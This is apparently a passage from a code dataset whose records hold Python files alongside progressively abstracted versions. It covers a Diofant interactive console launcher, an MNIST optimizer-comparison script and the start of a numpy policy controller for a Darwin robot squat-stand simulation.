= config.InteractiveShell\n ast_transformers = shell.ast_transformers\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n shell.confirm_exit = False\n config.TerminalIPythonApp.display_banner = False\n config.TerminalInteractiveShell.autoformatter = None\n app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)\n app.initialize(ipython_args)\n shell = app.shell\n for l in lines:\n shell.run_cell(l, silent=True)\n if args.auto_symbols:\n shell.run_cell(\n 'from diofant.interactive.session import AutomaticSymbols')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')\n shell.run_cell('del ip')\n if args.unicode_identifiers:\n shell.run_cell(\n 'from diofant.interactive.session import unicode_identifiers')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.input_transformers_cleanup.append(unicode_identifiers)')\n shell.run_cell('del ip')\n app.start()\n else:\n ast_transformers = []\n source_transformers = []\n ns = {}\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n if args.auto_symbols:\n ast_transformers.append(AutomaticSymbols(ns))\n if args.unicode_identifiers:\n source_transformers.append(unicode_identifiers)\n\n\n class DiofantConsole(code.InteractiveConsole):\n \"\"\"An interactive console with readline support.\"\"\"\n\n def __init__(self, ast_transformers=[], source_transformers=[],\n **kwargs):\n super().__init__(**kwargs)\n readline.set_completer(rlcompleter.Completer(ns).complete)\n readline.parse_and_bind('tab: complete')\n history = os.path.expanduser('~/.python_history')\n readline.read_history_file(history)\n atexit.register(readline.write_history_file, history)\n self.ast_transformers = ast_transformers\n self.source_transformers = source_transformers\n\n def runsource(self, source, filename='<input>', symbol='single'):\n for t in self.source_transformers:\n source = '\\n'.join(t(source.splitlines()))\n try:\n tree = ast.parse(source)\n except SyntaxError:\n return True\n for t in self.ast_transformers:\n tree = t.visit(tree)\n ast.fix_missing_locations(tree)\n source = ast.unparse(tree)\n source = source.split('\\n')\n source = ';'.join(source)\n return super().runsource(source, filename=filename, symbol=\n symbol)\n c = DiofantConsole(ast_transformers=ast_transformers,\n source_transformers=source_transformers, locals=ns)\n for l in lines:\n c.push(l)\n c.interact('', '')\n\n\nif __name__ == '__main__':\n main()\n", "<docstring token>\n<import token>\n<assignment token>\nparser.add_argument('--no-wrap-division', help=\n \"Don't wrap integer divisions with Fraction\", action='store_true')\nparser.add_argument('-a', '--auto-symbols', help=\n \"Automatically create missing Symbol's\", action='store_true')\nparser.add_argument('--no-ipython', help=\"Don't use IPython\", action=\n 'store_true')\nparser.add_argument('--unicode-identifiers', help=\n 'Allow any unicode identifiers', action='store_true')\n\n\ndef main():\n args, ipython_args = parser.parse_known_args()\n lines = ['from diofant import *', 'init_printing()',\n \"a, b, c, d, t, x, y, z = symbols('a:d t x:z')\",\n \"k, m, n = symbols('k m n', integer=True)\",\n \"f, g, h = symbols('f g h', cls=Function)\",\n 'init_printing(pretty_print=True, use_unicode=True)']\n try:\n import IPython\n import traitlets\n except ImportError:\n args.no_ipython = True\n if not args.no_ipython:\n config = traitlets.config.loader.Config()\n shell = config.InteractiveShell\n ast_transformers = shell.ast_transformers\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n shell.confirm_exit = False\n config.TerminalIPythonApp.display_banner = False\n config.TerminalInteractiveShell.autoformatter = None\n app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)\n app.initialize(ipython_args)\n shell = app.shell\n for l in lines:\n shell.run_cell(l, silent=True)\n if args.auto_symbols:\n shell.run_cell(\n 'from diofant.interactive.session import AutomaticSymbols')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')\n shell.run_cell('del ip')\n if args.unicode_identifiers:\n shell.run_cell(\n 'from diofant.interactive.session import unicode_identifiers')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.input_transformers_cleanup.append(unicode_identifiers)')\n shell.run_cell('del ip')\n app.start()\n else:\n ast_transformers = []\n source_transformers = []\n ns = {}\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n if args.auto_symbols:\n ast_transformers.append(AutomaticSymbols(ns))\n if args.unicode_identifiers:\n source_transformers.append(unicode_identifiers)\n\n\n class DiofantConsole(code.InteractiveConsole):\n \"\"\"An interactive console with readline support.\"\"\"\n\n def __init__(self, ast_transformers=[], source_transformers=[],\n **kwargs):\n super().__init__(**kwargs)\n readline.set_completer(rlcompleter.Completer(ns).complete)\n readline.parse_and_bind('tab: complete')\n history = os.path.expanduser('~/.python_history')\n readline.read_history_file(history)\n atexit.register(readline.write_history_file, history)\n self.ast_transformers = ast_transformers\n self.source_transformers = source_transformers\n\n def runsource(self, source, filename='<input>', symbol='single'):\n for t in self.source_transformers:\n source = '\\n'.join(t(source.splitlines()))\n try:\n tree = ast.parse(source)\n except SyntaxError:\n return True\n for t in self.ast_transformers:\n tree = t.visit(tree)\n ast.fix_missing_locations(tree)\n source = ast.unparse(tree)\n source = source.split('\\n')\n source = ';'.join(source)\n return super().runsource(source, filename=filename, symbol=\n symbol)\n c = DiofantConsole(ast_transformers=ast_transformers,\n source_transformers=source_transformers, locals=ns)\n for l in lines:\n c.push(l)\n c.interact('', '')\n\n\nif __name__ == '__main__':\n main()\n", "<docstring token>\n<import token>\n<assignment token>\n<code token>\n\n\ndef main():\n args, ipython_args = parser.parse_known_args()\n lines = ['from diofant import *', 'init_printing()',\n \"a, b, c, d, t, x, y, z = symbols('a:d t x:z')\",\n \"k, m, n = symbols('k m n', integer=True)\",\n \"f, g, h = symbols('f g h', cls=Function)\",\n 'init_printing(pretty_print=True, use_unicode=True)']\n try:\n import IPython\n import traitlets\n except ImportError:\n args.no_ipython = True\n if not args.no_ipython:\n config = traitlets.config.loader.Config()\n shell = config.InteractiveShell\n ast_transformers = shell.ast_transformers\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n shell.confirm_exit = False\n config.TerminalIPythonApp.display_banner = False\n config.TerminalInteractiveShell.autoformatter = None\n app = IPython.terminal.ipapp.TerminalIPythonApp.instance(config=config)\n app.initialize(ipython_args)\n shell = app.shell\n for l in lines:\n shell.run_cell(l, silent=True)\n if args.auto_symbols:\n shell.run_cell(\n 'from diofant.interactive.session import AutomaticSymbols')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.ast_transformers.append(AutomaticSymbols(ip.user_ns))')\n shell.run_cell('del ip')\n if args.unicode_identifiers:\n shell.run_cell(\n 'from diofant.interactive.session import unicode_identifiers')\n shell.run_cell('ip = get_ipython()')\n shell.run_cell(\n 'ip.input_transformers_cleanup.append(unicode_identifiers)')\n shell.run_cell('del ip')\n app.start()\n else:\n ast_transformers = []\n source_transformers = []\n ns = {}\n if not args.no_wrap_division:\n ast_transformers.append(IntegerDivisionWrapper())\n if args.auto_symbols:\n ast_transformers.append(AutomaticSymbols(ns))\n if args.unicode_identifiers:\n source_transformers.append(unicode_identifiers)\n\n\n class DiofantConsole(code.InteractiveConsole):\n \"\"\"An interactive console with readline support.\"\"\"\n\n def __init__(self, ast_transformers=[], source_transformers=[],\n **kwargs):\n super().__init__(**kwargs)\n readline.set_completer(rlcompleter.Completer(ns).complete)\n readline.parse_and_bind('tab: complete')\n history = os.path.expanduser('~/.python_history')\n readline.read_history_file(history)\n atexit.register(readline.write_history_file, history)\n self.ast_transformers = ast_transformers\n self.source_transformers = source_transformers\n\n def runsource(self, source, filename='<input>', symbol='single'):\n for t in self.source_transformers:\n source = '\\n'.join(t(source.splitlines()))\n try:\n tree = ast.parse(source)\n except SyntaxError:\n return True\n for t in self.ast_transformers:\n tree = t.visit(tree)\n ast.fix_missing_locations(tree)\n source = ast.unparse(tree)\n source = source.split('\\n')\n source = ';'.join(source)\n return super().runsource(source, filename=filename, symbol=\n symbol)\n c = DiofantConsole(ast_transformers=ast_transformers,\n source_transformers=source_transformers, locals=ns)\n for l in lines:\n c.push(l)\n c.interact('', '')\n\n\n<code token>\n", "<docstring token>\n<import token>\n<assignment token>\n<code token>\n<function token>\n<code token>\n" ]
false
9,944
85d40a49341c7bd7af7a5dc62e4bce0253eb25e6
# coding: utf-8 import sys, os sys.path.append(os.pardir) import matplotlib.pyplot as plt from dataset.mnist import load_mnist from common.util import smooth_curve from common.multi_layer_net import MultiLayerNet from common.optimizer import * # 0. MNIST 데이터 로딩 (x_train, t_train), (x_test, t_test) = load_mnist(normalize=True) train_size = x_train.shape[0] batch_size = 128 max_iterations = 2000 # 1. 실험용 설정 셋팅 optimizers = {} optimizers['SGD'] = SGD() optimizers['Momentum'] = Momentum() optimizers['AdaGrad'] = AdaGrad() optimizers['Adam'] = Adam() #network, loss를 저장할 dictionary를 설정 networks = {} train_loss = {} #각 optimizer마다 network를 MultiLayerNet을 이용해서 똑같은 구조로 만들고, train_loss 딕셔너리를 초기화 한다. for key in optimizers.keys(): networks[key] = MultiLayerNet(input_size=784, hidden_size_list=[100, 100, 100, 100], output_size=10) train_loss[key] = [] # 2. 훈련 시작 for i in range(max_iterations): #4개의 최적화 기법에 똑같이 들어갈 batch 생성 batch_mask = np.random.choice(train_size, batch_size) x_batch = x_train[batch_mask] t_batch = t_train[batch_mask] for key in optimizers.keys(): grads = networks[key].gradient(x_batch, t_batch) #배치를 넣어서 각 네트워크의 기울기를 구함 optimizers[key].update(networks[key].params, grads) #네트워크의 parameter를 기울기에 대해 update함 loss = networks[key].loss(x_batch, t_batch) #사실 이것이 먼저 계산되어야 하지만, 이 코드에서는 기록용으로 저장 train_loss[key].append(loss) #각 최적화 기법의 학습 loss 리스트에 저장 #학습 진행 경과 및 각 최적화 기법에 해당하는 loss 확인 if i % 100 == 0: print("===========" + "iteration:" + str(i) + "===========") for key in optimizers.keys(): loss = networks[key].loss(x_batch, t_batch) print(key + ':' + str(loss)) # 3. 그래프 그리기 markers = {"SGD": "o", "Momentum": "x", "AdaGrad": "s", "Adam": "D"} x = np.arange(max_iterations) for key in optimizers.keys(): plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key], markevery=100, label=key) plt.xlabel("iterations") plt.ylabel("loss") plt.ylim(0, 1) plt.legend() plt.show()
[ "# coding: utf-8\r\n\r\n\r\nimport sys, os\r\nsys.path.append(os.pardir)\r\nimport matplotlib.pyplot as plt\r\nfrom dataset.mnist import load_mnist\r\nfrom common.util import smooth_curve\r\nfrom common.multi_layer_net import MultiLayerNet\r\nfrom common.optimizer import *\r\n\r\n# 0. MNIST 데이터 로딩\r\n(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True)\r\n\r\ntrain_size = x_train.shape[0]\r\nbatch_size = 128\r\nmax_iterations = 2000\r\n\r\n# 1. 실험용 설정 셋팅\r\noptimizers = {}\r\noptimizers['SGD'] = SGD()\r\noptimizers['Momentum'] = Momentum()\r\noptimizers['AdaGrad'] = AdaGrad()\r\noptimizers['Adam'] = Adam()\r\n\r\n#network, loss를 저장할 dictionary를 설정\r\nnetworks = {}\r\ntrain_loss = {}\r\n\r\n#각 optimizer마다 network를 MultiLayerNet을 이용해서 똑같은 구조로 만들고, train_loss 딕셔너리를 초기화 한다.\r\nfor key in optimizers.keys():\r\n networks[key] = MultiLayerNet(input_size=784,\r\n hidden_size_list=[100, 100, 100, 100],\r\n output_size=10)\r\n train_loss[key] = []\r\n\r\n# 2. 훈련 시작\r\nfor i in range(max_iterations):\r\n #4개의 최적화 기법에 똑같이 들어갈 batch 생성\r\n batch_mask = np.random.choice(train_size, batch_size)\r\n x_batch = x_train[batch_mask]\r\n t_batch = t_train[batch_mask]\r\n\r\n for key in optimizers.keys():\r\n grads = networks[key].gradient(x_batch, t_batch) #배치를 넣어서 각 네트워크의 기울기를 구함\r\n optimizers[key].update(networks[key].params, grads) #네트워크의 parameter를 기울기에 대해 update함\r\n loss = networks[key].loss(x_batch, t_batch) #사실 이것이 먼저 계산되어야 하지만, 이 코드에서는 기록용으로 저장\r\n train_loss[key].append(loss) #각 최적화 기법의 학습 loss 리스트에 저장\r\n\r\n #학습 진행 경과 및 각 최적화 기법에 해당하는 loss 확인\r\n if i % 100 == 0:\r\n print(\"===========\" + \"iteration:\" + str(i) + \"===========\")\r\n for key in optimizers.keys():\r\n loss = networks[key].loss(x_batch, t_batch)\r\n print(key + ':' + str(loss))\r\n\r\n\r\n# 3. 그래프 그리기\r\nmarkers = {\"SGD\": \"o\", \"Momentum\": \"x\", \"AdaGrad\": \"s\", \"Adam\": \"D\"}\r\nx = np.arange(max_iterations)\r\nfor key in optimizers.keys():\r\n plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key], markevery=100, label=key)\r\nplt.xlabel(\"iterations\")\r\nplt.ylabel(\"loss\")\r\nplt.ylim(0, 1)\r\nplt.legend()\r\nplt.show()\r\n\r\n", "import sys, os\nsys.path.append(os.pardir)\nimport matplotlib.pyplot as plt\nfrom dataset.mnist import load_mnist\nfrom common.util import smooth_curve\nfrom common.multi_layer_net import MultiLayerNet\nfrom common.optimizer import *\n(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True)\ntrain_size = x_train.shape[0]\nbatch_size = 128\nmax_iterations = 2000\noptimizers = {}\noptimizers['SGD'] = SGD()\noptimizers['Momentum'] = Momentum()\noptimizers['AdaGrad'] = AdaGrad()\noptimizers['Adam'] = Adam()\nnetworks = {}\ntrain_loss = {}\nfor key in optimizers.keys():\n networks[key] = MultiLayerNet(input_size=784, hidden_size_list=[100, \n 100, 100, 100], output_size=10)\n train_loss[key] = []\nfor i in range(max_iterations):\n batch_mask = np.random.choice(train_size, batch_size)\n x_batch = x_train[batch_mask]\n t_batch = t_train[batch_mask]\n for key in optimizers.keys():\n grads = networks[key].gradient(x_batch, t_batch)\n optimizers[key].update(networks[key].params, grads)\n loss = networks[key].loss(x_batch, t_batch)\n train_loss[key].append(loss)\n if i % 100 == 0:\n print('===========' + 'iteration:' + str(i) + '===========')\n for key in optimizers.keys():\n loss = networks[key].loss(x_batch, t_batch)\n print(key + ':' + str(loss))\nmarkers = {'SGD': 'o', 'Momentum': 'x', 'AdaGrad': 's', 'Adam': 'D'}\nx = np.arange(max_iterations)\nfor key in optimizers.keys():\n plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key],\n markevery=100, label=key)\nplt.xlabel('iterations')\nplt.ylabel('loss')\nplt.ylim(0, 1)\nplt.legend()\nplt.show()\n", "<import token>\nsys.path.append(os.pardir)\n<import token>\n(x_train, t_train), (x_test, t_test) = load_mnist(normalize=True)\ntrain_size = x_train.shape[0]\nbatch_size = 128\nmax_iterations = 2000\noptimizers = {}\noptimizers['SGD'] = SGD()\noptimizers['Momentum'] = Momentum()\noptimizers['AdaGrad'] = AdaGrad()\noptimizers['Adam'] = Adam()\nnetworks = {}\ntrain_loss = {}\nfor key in optimizers.keys():\n networks[key] = MultiLayerNet(input_size=784, hidden_size_list=[100, \n 100, 100, 100], output_size=10)\n train_loss[key] = []\nfor i in range(max_iterations):\n batch_mask = np.random.choice(train_size, batch_size)\n x_batch = x_train[batch_mask]\n t_batch = t_train[batch_mask]\n for key in optimizers.keys():\n grads = networks[key].gradient(x_batch, t_batch)\n optimizers[key].update(networks[key].params, grads)\n loss = networks[key].loss(x_batch, t_batch)\n train_loss[key].append(loss)\n if i % 100 == 0:\n print('===========' + 'iteration:' + str(i) + '===========')\n for key in optimizers.keys():\n loss = networks[key].loss(x_batch, t_batch)\n print(key + ':' + str(loss))\nmarkers = {'SGD': 'o', 'Momentum': 'x', 'AdaGrad': 's', 'Adam': 'D'}\nx = np.arange(max_iterations)\nfor key in optimizers.keys():\n plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key],\n markevery=100, label=key)\nplt.xlabel('iterations')\nplt.ylabel('loss')\nplt.ylim(0, 1)\nplt.legend()\nplt.show()\n", "<import token>\nsys.path.append(os.pardir)\n<import token>\n<assignment token>\nfor key in optimizers.keys():\n networks[key] = MultiLayerNet(input_size=784, hidden_size_list=[100, \n 100, 100, 100], output_size=10)\n train_loss[key] = []\nfor i in range(max_iterations):\n batch_mask = np.random.choice(train_size, batch_size)\n x_batch = x_train[batch_mask]\n t_batch = t_train[batch_mask]\n for key in optimizers.keys():\n grads = networks[key].gradient(x_batch, t_batch)\n optimizers[key].update(networks[key].params, grads)\n loss = networks[key].loss(x_batch, t_batch)\n train_loss[key].append(loss)\n if i % 100 == 0:\n print('===========' + 'iteration:' + str(i) + '===========')\n for key in optimizers.keys():\n loss = networks[key].loss(x_batch, t_batch)\n print(key + ':' + str(loss))\n<assignment token>\nfor key in optimizers.keys():\n plt.plot(x, smooth_curve(train_loss[key]), marker=markers[key],\n markevery=100, label=key)\nplt.xlabel('iterations')\nplt.ylabel('loss')\nplt.ylim(0, 1)\nplt.legend()\nplt.show()\n", "<import token>\n<code token>\n<import token>\n<assignment token>\n<code token>\n<assignment token>\n<code token>\n" ]
false
9,945
97c5b75323bb143c87972b389e2f27e443c1e00c
################################################################################ # Controller of the Darwin Squat-Stand task using numpy # # Note: all joint data used in this file uses the dof indexing with # # from the simulation environment, not the hardware. # ################################################################################ import joblib import numpy as np from darwin.darwin_utils import * # Class for a neural network model in numpy class NP_Net: def __init__(self, nvec = None): self.obrms_mean = None # for observation running mean std self.obrms_std = None # for observation running mean std self.nn_params = [] # stores the neural net parameters in the form of [[W0, b0], [W1, b1], ... [Wn, bn]] self.nvec = nvec # None if continuous action, otherwise discrete action in the form of # [numbins, numbins, ... numbins] def load_from_file(self, fname): params = joblib.load(fname) pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')] obrms_runningsumsq = params[pol_scope+'/obfilter/runningsumsq:0'] obrms_count = params[pol_scope+'/obfilter/count:0'] obrms_runningsum = params[pol_scope+'/obfilter/runningsum:0'] self.obrms_mean = obrms_runningsum / obrms_count self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - (self.obrms_mean**2), 1e-2, 1000000)) for i in range(10): # assume maximum layer size of 10 if pol_scope+'/pol/fc'+str(i)+'/kernel:0' in params: W = params[pol_scope+'/pol/fc'+str(i)+'/kernel:0'] b = params[pol_scope+'/pol/fc'+str(i)+'/bias:0'] self.nn_params.append([W, b]) W_final = params[pol_scope + '/pol/final/kernel:0'] b_final = params[pol_scope + '/pol/final/bias:0'] self.nn_params.append([W_final, b_final]) def get_output(self, input, activation = np.tanh): assert self.obrms_mean is not None last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params)-1): last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1]) out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1] if self.nvec is None: return out else: # convert for discrete output splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1]) discrete_out = np.array([np.argmax(prob) for prob in splitted_out]) return discrete_out # Class for a neural network model with mirror symmetry in numpy class NP_Net_MirrorSym: def __init__(self, nvec = None, observation_permutation=None,action_permutation=None): self.obrms_mean = None # for observation running mean std self.obrms_std = None # for observation running mean std self.nn_params = [] # stores the neural net parameters in the form of [[W0, b0], [W1, b1], ... [Wn, bn]] self.nvec = nvec # None if continuous action, otherwise discrete action in the form of # [numbins, numbins, ... numbins] obs_perm_mat = np.zeros((len(observation_permutation), len(observation_permutation)), dtype=np.float32) self.obs_perm_mat = obs_perm_mat for i, perm in enumerate(observation_permutation): obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm) if nvec is None: act_perm_mat = np.zeros((len(action_permutation), len(action_permutation)), dtype=np.float32) self.act_perm_mat = act_perm_mat for i, perm in enumerate(action_permutation): self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm) else: total_dim = int(np.sum(nvec)) dim_index = np.concatenate([[0], np.cumsum(nvec)]) act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32) self.act_perm_mat = act_perm_mat for i, perm in enumerate(action_permutation): perm_mat = np.identity(nvec[i]) if np.sign(perm) < 0: perm_mat = np.flipud(perm_mat) self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i], dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm))] + nvec[int(np.abs(perm))]] = perm_mat def load_from_file(self, fname): params = joblib.load(fname) pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')] obrms_runningsumsq = params[pol_scope+'/obfilter/runningsumsq:0'] obrms_count = params[pol_scope+'/obfilter/count:0'] obrms_runningsum = params[pol_scope+'/obfilter/runningsum:0'] self.obrms_mean = obrms_runningsum / obrms_count self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - (self.obrms_mean**2), 1e-2, 1000000)) for i in range(10): # assume maximum layer size of 10 if pol_scope+'/pol_net/genff'+str(i)+'/w:0' in params: W = params[pol_scope+'/pol_net/genff'+str(i)+'/w:0'] b = params[pol_scope+'/pol_net/genff'+str(i)+'/b:0'] self.nn_params.append([W, b]) W_final = params[pol_scope + '/pol_net/genff_out/w:0'] b_final = params[pol_scope + '/pol_net/genff_out/b:0'] self.nn_params.append([W_final, b_final]) def get_output(self, input, activation = np.tanh): assert self.obrms_mean is not None last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params)-1): last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1]) out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1] mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.obrms_mean) / self.obrms_std, -5.0, 5.0) for i in range(len(self.nn_params) - 1): mirrorlast_out = activation(np.dot(self.nn_params[i][0].T, mirrorlast_out) + self.nn_params[i][1]) mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) + self.nn_params[-1][1], self.act_perm_mat) if self.nvec is None: return out + mirrorout else: # convert for discrete output splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1]) discrete_out = np.array([np.argmax(prob) for prob in splitted_out]) return discrete_out # Class for a neural network policy in numpy # Includes the action filtering and pose interpolation class NP_Policy: # interp_sch makes the feed-forward motion # interp_sch contains the timing and pose id throughout the trajectory def __init__(self, interp_sch, param_file, discrete_action, action_bins, delta_angle_scale, action_filter_size, obs_perm = None, act_perm = None): self.interp_sch = interp_sch self.obs_cache = [] self.action_cache = [] self.action_filter_size = action_filter_size if interp_sch is not None: self.net = NP_Net() else: self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm) self.net.load_from_file(param_file) self.discrete_action = discrete_action self.delta_angle_scale = delta_angle_scale if discrete_action: self.net.nvec = action_bins # Get the initial state for the robot # RETURN: a 20d vector for the robot pose def get_initial_state(self): if self.interp_sch is not None: return self.interp_sch[0][1] else: return 0.5*(pose_squat + pose_stand) # Reset the state of the policy # This is needed because the action cache essentially forms a memory in the policy def reset(self): self.action_cache = [] # Return the action to be taken by the robot given the observation and current time # INPUT: o, a 40d vector containing the pose and velocity of the robot # t, current time in seconds, used to get the reference pose # RETURN: a 20d vector containing the target angle (in radians) for the robot joints def act(self, o, t): # get network output action new_action = self.net.get_output(o) if self.discrete_action: new_action = new_action * 1.0 / np.floor(self.net.nvec/2.0) - 1.0 self.action_cache.append(new_action) if len(self.action_cache) > self.action_filter_size: self.action_cache.pop(0) filtered_action = np.mean(self.action_cache, axis=0) # get feedforward action clamped_control = np.clip(filtered_action, -1, 1) if self.interp_sch is not None: self.ref_target = self.interp_sch[0][1] for i in range(len(self.interp_sch) - 1): if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0]: ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[i + 1][0] - self.interp_sch[i][0]) self.ref_target = ratio * self.interp_sch[i + 1][1] + (1 - ratio) * self.interp_sch[i][1] if t > self.interp_sch[-1][0]: self.ref_target = self.interp_sch[-1][1] # combine policy output and keyframe interpolation to get the target joint positions target_pose = self.ref_target + clamped_control * self.delta_angle_scale else: target_pose = (clamped_control + 1.0) / 2.0 * (SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD) + SIM_CONTROL_LOW_BOUND_RAD target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD, SIM_JOINT_UP_BOUND_RAD) return target_pose def toRobot(positions): # reorder joints index = [3,0,4,1,5,2,14,8,15,9,16,10,17,11,18,12,19,13,6,7] # convert from radians to int robotState = np.zeros(len(positions)) for i in range(len(positions)): robotState[i] = int(positions[i]*180*(1/(np.pi*0.088))) + 2048 return robotState[index].astype(int) ####################################### # test the file in pydart2 simulation # ####################################### if __name__ == "__main__": import pydart2 as pydart import gym env = gym.make('DartDarwinSquat-v1') # use the dart_world in the gym environment to avoid copying the data env.reset() dart_world = env.env.dart_world class Controller(object): def __init__(self, world, policy): self.world = world self.target = None self.kp = np.array([2.1, 1.79, 4.93, 2.0, 2.02, 1.98, 2.2, 2.06, 148, 152, 150, 136, 153, 102, 151, 151.4, 150.45, 151.36, 154, 105.2]) self.kd = np.array([0.21, 0.23, 0.22, 0.25, 0.21, 0.26, 0.28, 0.213 , 0.192, 0.198, 0.22, 0.199, 0.02, 0.01, 0.53, 0.27, 0.21, 0.205, 0.022, 0.056]) self.step = 0 self.frameskip = 25 self.fulltau = np.zeros(26) self.np_policy = policy self.target_sim_cache = [] self.target_hw_cache = [] def compute(self): if self.step % self.frameskip == 0: o = np.concatenate([self.world.skeletons[-1].q[6:], self.world.skeletons[-1].dq[6:]]) self.target = self.np_policy.act(o, self.world.time()) self.target_hw_cache.append(toRobot(self.target)) self.target_sim_cache.append(RADIAN2VAL(self.target)) np.savetxt('darwin/feedforward_target_simindex.txt', np.array(self.target_sim_cache, dtype=np.int)) np.savetxt('darwin/feedforward_target_hwindex.txt', np.array(self.target_hw_cache, dtype=np.int)) tau = -self.kp * (self.world.skeletons[-1].q[6:] - self.target) - self.kd * self.world.skeletons[-1].dq[6:] self.fulltau = np.concatenate([np.zeros(6), tau]) self.step += 1 return np.clip(self.fulltau, -3.5, 3.5) # torque limit of 3.5 Nm # Set joint damping for i in range(6, dart_world.skeletons[-1].ndofs): j = dart_world.skeletons[-1].dof(i) j.set_damping_coefficient(0.515) dart_world.set_gravity([0, 0, -9.81]) dart_world.skeletons[1].set_mobile(False) dart_world.skeletons[1].q = dart_world.skeletons[1].q + 100 dart_world.set_collision_detector(0) dart_world.skeletons[-1].set_self_collision_check(False) dart_world.skeletons[0].bodynodes[0].set_friction_coeff(5.0) for bn in dart_world.skeletons[-1].bodynodes: bn.set_friction_coeff(5.0) ############################################################################ #### Setup the policy from file #### #### refer to this part for construction of policy to be run on hardware ### ############################################################################ pose_squat_val = np.array([2509, 2297, 1714, 1508, 1816, 2376, 2047, 2171, 2032, 2039, 2795, 648, 1231, 2040, 2041, 2060, 1281, 3448, 2855, 2073]) pose_stand_val = np.array([1500, 2048, 2048, 2500, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048]) pose_squat = VAL2RADIAN(pose_squat_val) pose_stand = VAL2RADIAN(pose_stand_val) # keyframe scheduling for squat stand task interp_sch = [[0.0, pose_squat], [3.0, pose_stand], [4.0, pose_stand], ] policy = NP_Policy(interp_sch, 'data/darwin_standsquat_policy_conseq_obs_warmstart.pkl', discrete_action=True, action_bins=np.array([11] * 20), delta_angle_scale=0.3) ############################################################################ # End of setup for policy # policy should be used for executing on other environments ############################################################################ # Initialize the controller controller = Controller(dart_world, policy) dart_world.skeletons[-1].set_controller(controller) print('create controller OK') pydart.gui.viewer.launch(dart_world, default_camera=1) # Use Z-up camera
[ "################################################################################\n# Controller of the Darwin Squat-Stand task using numpy #\n# Note: all joint data used in this file uses the dof indexing with #\n# from the simulation environment, not the hardware. #\n################################################################################\n\nimport joblib\nimport numpy as np\n\nfrom darwin.darwin_utils import *\n\n# Class for a neural network model in numpy\nclass NP_Net:\n def __init__(self, nvec = None):\n self.obrms_mean = None # for observation running mean std\n self.obrms_std = None # for observation running mean std\n self.nn_params = [] # stores the neural net parameters in the form of [[W0, b0], [W1, b1], ... [Wn, bn]]\n self.nvec = nvec # None if continuous action, otherwise discrete action in the form of\n # [numbins, numbins, ... numbins]\n\n def load_from_file(self, fname):\n params = joblib.load(fname)\n\n pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]\n obrms_runningsumsq = params[pol_scope+'/obfilter/runningsumsq:0']\n obrms_count = params[pol_scope+'/obfilter/count:0']\n obrms_runningsum = params[pol_scope+'/obfilter/runningsum:0']\n\n self.obrms_mean = obrms_runningsum / obrms_count\n self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - (self.obrms_mean**2), 1e-2, 1000000))\n\n for i in range(10): # assume maximum layer size of 10\n if pol_scope+'/pol/fc'+str(i)+'/kernel:0' in params:\n W = params[pol_scope+'/pol/fc'+str(i)+'/kernel:0']\n b = params[pol_scope+'/pol/fc'+str(i)+'/bias:0']\n self.nn_params.append([W, b])\n W_final = params[pol_scope + '/pol/final/kernel:0']\n b_final = params[pol_scope + '/pol/final/bias:0']\n self.nn_params.append([W_final, b_final])\n\n def get_output(self, input, activation = np.tanh):\n assert self.obrms_mean is not None\n\n last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0)\n\n for i in range(len(self.nn_params)-1):\n last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1])\n out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]\n\n if self.nvec is None:\n return out\n else:\n # convert for discrete output\n splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])\n discrete_out = np.array([np.argmax(prob) for prob in splitted_out])\n return discrete_out\n\n# Class for a neural network model with mirror symmetry in numpy\nclass 